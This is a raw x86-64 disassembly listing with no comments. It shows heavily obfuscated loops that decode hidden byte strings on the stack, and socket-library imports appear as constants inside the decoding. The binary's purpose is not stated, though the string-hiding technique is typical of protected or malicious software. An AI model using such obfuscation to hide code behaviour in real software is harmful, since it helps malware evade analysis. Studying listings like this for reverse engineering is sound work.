xor ebx, ebx
movabs rcx, 0xdc5b69ad29c6ce29
cmp rbx, 0x12
jae 0x14016c011
movzx r10d, byte [rsp + rbx + 0x53]
mov rdi, r10
nop
cmp r8, rbx
ja 0x14016c008
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14016b52b
lea r11, [rbx + rcx]
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
sub r11b, 0x1f
add r11b, dil
jmp 0x14016b560
je 0x14016bf97
lea rax, [r9 + 3]
cmp r8, rax
je 0x14016bf11
lea rax, [r9 + 2]
cmp r8, rax
je 0x14016bebd
lea rax, [r9 + 7]
cmp r8, rax
je 0x14016be77
nop dword [rax + rax]
cmp r9, rbx
ja 0x14016bfff
lea rcx, [r9 + 4]
cmp r8, rcx
jae 0x14016b58d
lea edx, [rbx + 0x5d]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
add r11b, 0x75
add r11b, dl
jmp 0x14016b5b0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14016be5c
lea rax, [r9 + 2]
cmp r8, rax
je 0x14016be41
cmp r8, rcx
je 0x14016be26
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14016bb3c
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14016bb1e
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14016baf6
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14016bad1
lea rax, [r9 + 9]
cmp r8, rax
je 0x14016bab3
lea rax, [r9 + 6]
cmp r8, rax
je 0x14016ba98
lea rax, [r9 + 4]
cmp r8, rax
je 0x14016ba69
lea rax, [r9 + 2]
cmp r8, rax
je 0x14016ba4d
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14016ba2f
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14016ba06
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14016b5c0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14016bfe4
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14016bfc9
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14016b7b4
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14016b796
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14016b778
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14016b9ba
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14016b971
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14016b92f
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14016b90c
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14016b5c0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x28]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14016b8e3
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14016b8c4
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14016b8a8
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14016b87d
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14016b862
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14016b843
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14016b81e
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14016b7fa
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14016b7dc
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14016b5c0
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x42]
jmp 0x14016b5c0
lea edx, [rbx + 0x43]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
add r11b, 0x2b
add r11b, dl
jmp 0x14016b5b0
lea edx, [rbx - 0xf]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
add r11b, 0x69
add r11b, dl
jmp 0x14016b560
lea edx, [rbx - 0x61]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
movabs rcx, 0xdc5b69ad29c6ce29
sub r11b, al
sub r11b, 0x59
add r11b, dl
jmp 0x14016b4fc
lea edx, [rbx - 0x18]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
movzx edi, bl
sub r11b, al
sub r11b, 0x58
jmp 0x14016be90
lea ecx, [rbx - 0x6a]
movzx eax, r10b
and al, cl
inc r9
add al, al
dec rbx
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1a
inc rbx
jmp 0x14016b4e2
lea edx, [rbx + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, r10b
dec rbx
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rbx
jmp 0x14016b4e2
mov ecx, gethostbyaddr
lea edx, [rbx - 0xe]
movzx eax, r10b
movzx edi, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14016bed6
lea ecx, [rbx - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
jmp 0x14016bef9
lea ecx, [rbx + 0x4e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
mov rcx, r15
sub r11b, 0x22
movzx eax, r11b
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016b4e2
mov ecx, ntohs
lea edx, [rbx - 4]
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14016bf35
lea edx, [rbx - 0x56]
mov ecx, 0x2d
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14016bf5e
lea ecx, [rbx + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x53]
add rax, r9
add rbx, rax
lea r11d, [rcx + r10]
sub r11b, 0x68
inc rbx
jmp 0x14016b4e2
lea ecx, [rbx - 0x75]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x33
mov byte [rsp + rbx + 0x53], r11b
inc rbx
jmp 0x14016b4e2
lea edx, [rbx + 0x39]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
add r11b, 0x71
add r11b, dl
cmp r9, 0x64
jb 0x14016b922
mov ecx, reloc.WS2_32.dll_send
movzx edi, bl
movzx eax, r10b
lea edx, [rdi + 0x56]
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14016be93
lea edx, [rbx - 0x19]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x51
add r11b, dl
cmp r8, 0x40
jae 0x14016bdee
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x14016bce7
mov ecx, 9
lea edx, [rbx + 0x22]
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14016b945
lea edx, [rbx - 0x6b]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x13
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x14016be0d
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14016bc3a
lea edx, [rbx - 0x3b]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x63
jmp 0x14016b987
lea ecx, [rbx + 0x2e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x53]
add rax, r9
add rbx, rax
lea r11d, [rcx + r10]
sub r11b, 0x42
inc rbx
jmp 0x14016b4e2
lea edx, [rbx - 0x24]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 4
add r11b, dl
jmp 0x14016bf5e
mov ecx, 0x1d
lea edx, [rbx - 0x76]
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14016bf35
lea edx, [rbx + 0x38]
mov ecx, 0x3c
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
mov rcx, r15
add r11b, r10b
add r11b, dl
movzx eax, r11b
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016b4e2
lea ecx, [rbx - 0x1a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x4a
jmp 0x14016bef9
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi - 0x6c]
and al, dl
add al, al
sub r11b, al
sub r11b, 0xc
jmp 0x14016bed6
lea edx, [rbx + 0x42]
mov ecx, 0x19
movzx eax, r10b
dec rbx
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rbx
jmp 0x14016b4e2
lea edx, [rbx - 0x10]
mov ecx, reloc.WS2_32.dll_getservbyport
movzx eax, r10b
inc r9
and al, dl
dec rbx
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rbx
jmp 0x14016b4e2
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi - 0x62]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x52
jmp 0x14016be90
lea rax, [r9 + 8]
cmp r8, rax
jae 0x14016bb60
lea edx, [rbx + 0x29]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x1f
jmp 0x14016b9d0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016bb92
lea ecx, [rbx - 0x46]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x53]
add rax, r9
add rbx, rax
lea r11d, [rcx + r10]
sub r11b, 0x16
inc rbx
jmp 0x14016b4e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14016bbb7
mov ecx, reloc.WS2_32.dll_getservbyname
lea edx, [rbx + 0x5e]
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14016bf35
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14016bbde
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 0x54]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x4c
jmp 0x14016bed6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016bc0f
lea edx, [rbx - 8]
mov ecx, 0x1c
movzx eax, r10b
inc r9
and al, dl
dec rbx
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rbx
jmp 0x14016b4e2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14016b9d3
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 0x4a]
and al, dl
add al, al
sub r11b, al
sub r11b, 6
jmp 0x14016be90
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016bc61
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 0x17]
and al, dl
add al, al
sub r11b, al
add r11b, 0x5f
jmp 0x14016be90
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14016bc8b
lea ecx, [rbx - 0x45]
movzx eax, r10b
and al, cl
dec rbx
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1d
inc rbx
jmp 0x14016b4e2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14016bcaf
lea ecx, [rbx + 0x5f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x67
jmp 0x14016bef9
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14016b98a
lea ecx, [rbx - 0x4f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
mov rcx, r15
add r11b, 0x29
movzx eax, r11b
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016b4e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016bd19
lea ecx, [rbx + 0x74]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x53]
add rax, r9
add rbx, rax
lea r11d, [rcx + r10]
sub r11b, 0x2c
inc rbx
jmp 0x14016b4e2
inc rax
cmp r8, rax
jne 0x14016bd3f
lea edx, [rbx - 0x3a]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x6a
add r11b, dl
jmp 0x14016bf5e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016bd64
mov ecx, 0x2c
lea edx, [rbx + 0x18]
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14016bf35
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14016bd92
lea edx, [rbx + 0x60]
mov ecx, gethostbyaddr
movzx eax, r10b
dec rbx
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rbx
jmp 0x14016b4e2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14016bdc3
lea edx, [rbx - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, r10b
inc r9
and al, dl
dec rbx
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rbx
jmp 0x14016b4e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14016b948
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 4]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x1c
jmp 0x14016be90
movzx ecx, byte [rsp + rbx + 0x53]
movzx edi, bl
movzx eax, r10b
lea edx, [rdi - 0x58]
and al, dl
sub cl, al
add cl, 0x34
lea r11d, [rcx + rcx]
jmp 0x14016bed6
mov ecx, reloc.WS2_32.dll_setsockopt
lea edx, [rbx - 6]
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14016bf35
lea edx, [rbx - 0x65]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x3d
jmp 0x14016bf35
lea ecx, [rbx - 9]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x3f
jmp 0x14016bef9
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi - 0x51]
and al, dl
add al, al
sub r11b, al
add r11b, 0x37
jmp 0x14016be90
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 0xb]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x4d
add r11b, dl
movzx eax, r10b
add dil, 0x7f
and al, dil
add al, al
sub r10b, al
sub r10b, 0x79
add r10b, dil
mov byte [rsp + rbx + 0x53], r10b
inc r9
dec rbx
inc rbx
jmp 0x14016b4e2
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 0x15]
and al, dl
add al, al
sub r11b, al
add r11b, 0x6d
add r11b, dl
sub dil, 0x2f
movzx eax, r10b
and al, dil
movzx ecx, r11b
add al, al
sub cl, al
add cl, 0x49
add cl, r10b
add cl, dil
mov byte [rsp + rbx + 0x53], cl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016b4e2
movabs rdx, 0x67fe3bc246fa31f
movzx r11d, dil
add rdx, rbx
movzx r10d, dil
movzx eax, dl
and al, dil
add al, al
sub r11b, al
add r11b, 0x27
add r11b, dl
lea edx, [rbx + 0x23]
movzx eax, r10b
and al, dl
inc r9
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0xb
add cl, dl
movzx eax, cl
mov byte [rsp + rbx + 0x53], al
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x4c]
movzx eax, r10b
and al, cl
inc r8
add al, al
sub r10b, al
mov rax, r15
sub rax, r8
sub r10b, 0x14
add r10b, cl
mov byte [rsp + rbx + 0x53], r10b
add rbx, rax
movzx eax, byte [rsp + rbx + 0x53]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14016b4e2
movabs rcx, 0x95123d077d546a7b
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x5d
movzx eax, byte [rsp + rbx + 0x53]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14016b4e2
add bl, 0x4d
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x1b
jmp 0x14016b4de
sub bl, 5
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x23
jmp 0x14016b4c8
lea rbx, [rbp + 0x15282df]
jmp 0x14016c016
lea rbx, [rbp + 0x595108]
jmp 0x14016c016
lea rbx, [rsp + 0x53]
mov rdx, r14
lea rcx, [rbp + 0x2b0]
call fcn.14013a710
mov rdx, rbx
lea rcx, [rbp + 0x2d0]
call fcn.14013a710
lea rax, [rbp + 0x2b0]
mov qword [rbp + 0x50], rax
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x2f0]
lea rcx, [rbp + 0x2f0]
mov qword [rbp + 0x58], rax
call fcn.14016dc90
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140162010
mov edx, 0x40
lea r9, [0x140149880]
lea rcx, [rbp + 0x2b0]
lea r8d, [rdx - 0x3f]
call fcn.140136920
movzx r11d, byte [rbp + 0x838]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp - 3], rax
movups xmmword [rbp - 0x13], xmm0
mov dword [rbp + 5], eax
movabs rsi, 0x3c141ec268f4ff83
mov word [rbp + 9], ax
movabs r14, 0xb43c5c473adefe89
mov dword [rbp - 0x24], 0x87808175
mov dword [rbp - 0x20], 0x837f7079
mov dword [rbp - 0x1c], 0x4a8e8875
mov dword [rbp - 0x18], 0x91959870
mov byte [rbp - 0x14], 6
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
xor ebx, ebx
cmp rbx, 0x2f
jae 0x14016cc63
movzx r10d, byte [rbp + rbx - 0x24]
mov rdx, r10
cmp r8, rbx
ja 0x14016cc5a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14016c12f
lea r11, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
sub r11b, al
add r11b, 0x6b
add r11b, dl
jmp 0x14016c160
je 0x14016cbf3
inc rax
cmp r8, rax
je 0x14016cb97
lea rax, [r9 + 5]
cmp r8, rax
je 0x14016cb48
lea rax, [r9 + 6]
cmp r8, rax
je 0x14016cb28
nop dword [rax + rax]
cmp r9, rbx
ja 0x14016cc51
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x14016c189
lea ecx, [rbx - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x39
jmp 0x14016c1d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14016cae6
inc rax
cmp r8, rax
je 0x14016cac3
lea rax, [r9 + 3]
cmp r8, rax
je 0x14016caa3
lea rax, [r9 + 5]
cmp r8, rax
je 0x14016ca89
lea rax, [r9 + 9]
cmp r8, rax
je 0x14016ca61
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14016c753
nop dword [rax]
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14016c732
lea rax, [r9 + 9]
cmp r8, rax
je 0x14016c70e
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14016c6ed
lea rax, [r9 + 5]
cmp r8, rax
je 0x14016c6cb
lea rcx, [r9 + 0x2a]
cmp r8, rcx
je 0x14016c6ac
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14016c67d
lea rax, [r9 + 6]
cmp r8, rax
je 0x14016c65f
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14016c641
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14016c618
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14016c1e0
lea r9, [rcx + 0x3e8]
mov r8, rcx
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x14016cc36
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x14016cc1b
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x14016c3c7
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x14016c3ad
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x14016c393
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x14016c5cc
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x14016c583
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x14016c541
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x14016c51e
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x14016c1e0
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14016c4f5
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14016c4d6
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14016c4b7
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14016c488
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14016c46d
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14016c44c
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14016c42b
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14016c403
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14016c3e1
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14016c1e0
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x42]
jmp 0x14016c1e0
lea ecx, [rbx + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x19
jmp 0x14016c1d0
lea ecx, [rbx + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x43
jmp 0x14016c160
lea ecx, [rbx + 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x6d
jmp 0x14016c102
lea edx, [rbx - 8]
mov ecx, 0x1c
movzx eax, r10b
movzx edi, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14016cafe
lea edx, [rbx - 0xe]
mov ecx, gethostbyaddr
movzx eax, r10b
inc r9
and al, dl
dec rbx
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rbx
jmp 0x14016c0f2
lea ecx, [rbx - 0x14]
movzx eax, r10b
and al, cl
dec rbx
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x74
inc rbx
jmp 0x14016c0f2
lea edx, [rbx - 0x1a]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
movzx edi, bl
sub r11b, al
sub r11b, 0x4a
add r11b, dl
jmp 0x14016cb60
lea ecx, [rbx - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
jmp 0x14016cb7f
lea edx, [rbx - 0x26]
mov ecx, 5
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
mov rcx, r15
add r11b, r10b
add r11b, dl
movzx eax, r11b
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016c0f2
mov ecx, 0x1a
lea edx, [rbx - 0x2c]
movzx eax, r10b
movzx edi, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14016ca30
lea edx, [rbx - 0x32]
mov ecx, gethostbyaddr
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14016cbb9
lea ecx, [rbx - 0x38]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx - 0x24]
add rax, r9
add rbx, rax
lea r11d, [rcx + r10]
sub r11b, 0x78
inc rbx
jmp 0x14016c0f2
lea ecx, [rbx + 0x39]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x71
mov byte [rbp + rbx - 0x24], r11b
inc rbx
jmp 0x14016c0f2
lea edx, [rbx + 0x33]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x65
add r11b, dl
cmp r9, 1
jb 0x14016c534
mov ecx, reloc.WS2_32.dll_recvfrom
movzx edi, bl
movzx eax, r10b
lea edx, [rdi + 0x32]
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14016cafe
lea edx, [rbx + 0x2d]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x3b
add r11b, dl
cmp r8, 3
jae 0x14016c9f7
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14016c93a
mov ecx, 0x23
lea edx, [rbx - 0xa]
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14016c557
lea edx, [rbx + 0x27]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x11
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 5
je 0x14016ca19
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x14016c87f
lea edx, [rbx + 0x37]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
add r11b, 0x7f
jmp 0x14016c599
lea ecx, [rbx + 0x7a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx - 0x24]
add rax, r9
add rbx, rax
lea r11d, [rcx + r10]
sub r11b, 0x56
inc rbx
jmp 0x14016c0f2
lea edx, [rbx + 0x74]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x14016cbb9
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 0x6e]
and al, dl
add al, al
sub r11b, al
sub r11b, 2
jmp 0x14016ca30
lea edx, [rbx + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
mov rcx, r15
add r11b, r10b
add r11b, dl
movzx eax, r11b
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016c0f2
lea edx, [rbx + 0x62]
mov ecx, 0x29
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14016cb7f
mov ecx, 0x3e
movzx edi, bl
movzx eax, r10b
lea edx, [rdi + 0x5c]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14016cb60
lea ecx, [rbx + 0x56]
movzx eax, r10b
and al, cl
dec rbx
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5a
inc rbx
jmp 0x14016c0f2
lea ecx, [rbx + 0x50]
movzx eax, r10b
and al, cl
inc r9
add al, al
dec rbx
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x30
inc rbx
jmp 0x14016c0f2
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 0x4a]
and al, dl
add al, al
sub r11b, al
sub r11b, 6
add r11b, dl
jmp 0x14016cafe
lea rax, [r9 + 2]
cmp r8, rax
jae 0x14016c776
lea ecx, [rbx - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x6b
jmp 0x14016c5e5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016c7a7
lea ecx, [rbx + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx - 0x24]
add rax, r9
add rbx, rax
lea r11d, [r10 + rcx]
sub r11b, 0x72
inc rbx
jmp 0x14016c0f2
inc rax
cmp r8, rax
jne 0x14016c7d1
mov ecx, 0x1d
movzx edi, bl
lea edx, [rdi - 0x76]
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14016ca33
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14016c7f5
lea ecx, [rbx - 0x6a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1a
jmp 0x14016cb7f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14016c81f
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi - 0x64]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x44
add r11b, dl
jmp 0x14016cb60
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016c850
lea edx, [rbx - 0x58]
mov ecx, reloc.WS2_32.dll_gethostbyname
movzx eax, r10b
inc r9
and al, dl
dec rbx
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rbx
jmp 0x14016c0f2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14016c5e5
mov ecx, 0x1f
movzx edi, bl
movzx eax, r10b
lea edx, [rdi - 0x52]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14016cafe
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016c8a9
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 0x3d]
and al, dl
add al, al
sub r11b, al
